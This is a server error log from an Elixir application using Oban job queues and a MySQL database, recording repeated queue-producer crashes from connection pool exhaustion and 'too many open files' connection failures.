    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:30:13.240622Z], limit: 20, uuid: "f11f256f-8cc0-4e91-9331-61f794750ba8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:13.240629Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10562>, refresh_timer: #Reference<0.2525715032.1099431938.19435>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:25.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 810ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:30:13.239201Z], limit: 3, uuid: "bf2911f2-b978-42f5-8555-a3781e49f5b2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:13.239207Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10565>, refresh_timer: #Reference<0.2525715032.1099431938.19461>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:25.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1023ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:30:13.240953Z], limit: 10, uuid: "67f97212-d3c8-4d98-a0d0-184c9e65889c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:13.240958Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10563>, refresh_timer: #Reference<0.2525715032.1099431938.19457>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:26.395000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:28.072000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:29.531000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:34.567000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:35.454000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:30:37.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1089ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:30:25.240201Z], limit: 5, uuid: "fba8193c-ccd2-42a7-a7ea-4cc133bf2d80", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:25.240207Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.19626>, refresh_timer: #Reference<0.2525715032.1099431938.19597>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:37.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:30:25.238772Z], limit: 5, uuid: "e2d73489-755f-4284-8c48-81f094b427ec", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:25.238782Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.19629>, refresh_timer: #Reference<0.2525715032.1068498948.10894>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:37.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 894ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:30:25.240931Z], limit: 3, uuid: "0c71f048-6aba-4d75-86aa-40c549497b65", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:25.240936Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.19628>, refresh_timer: #Reference<0.2525715032.1099431938.19623>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:37.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 817ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:30:25.240321Z], limit: 50, uuid: "0d5f5c2e-ba1f-4023-bc2f-4a6277decd69", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:25.240325Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.19627>, refresh_timer: #Reference<0.2525715032.1099431938.19599>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:37.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:30:25.243247Z], limit: 10, uuid: "e82643f2-11d9-4165-aeda-592451e12eae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:25.243252Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.10953>, refresh_timer: #Reference<0.2525715032.1068498948.10935>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:37.240000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:30:25.240564Z], limit: 20, uuid: "ae115434-ce03-40a8-a037-6782503d2e9c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:30:25.240569Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.19625>, refresh_timer: #Reference<0.2525715032.1099431938.19608>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:30:43.421000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
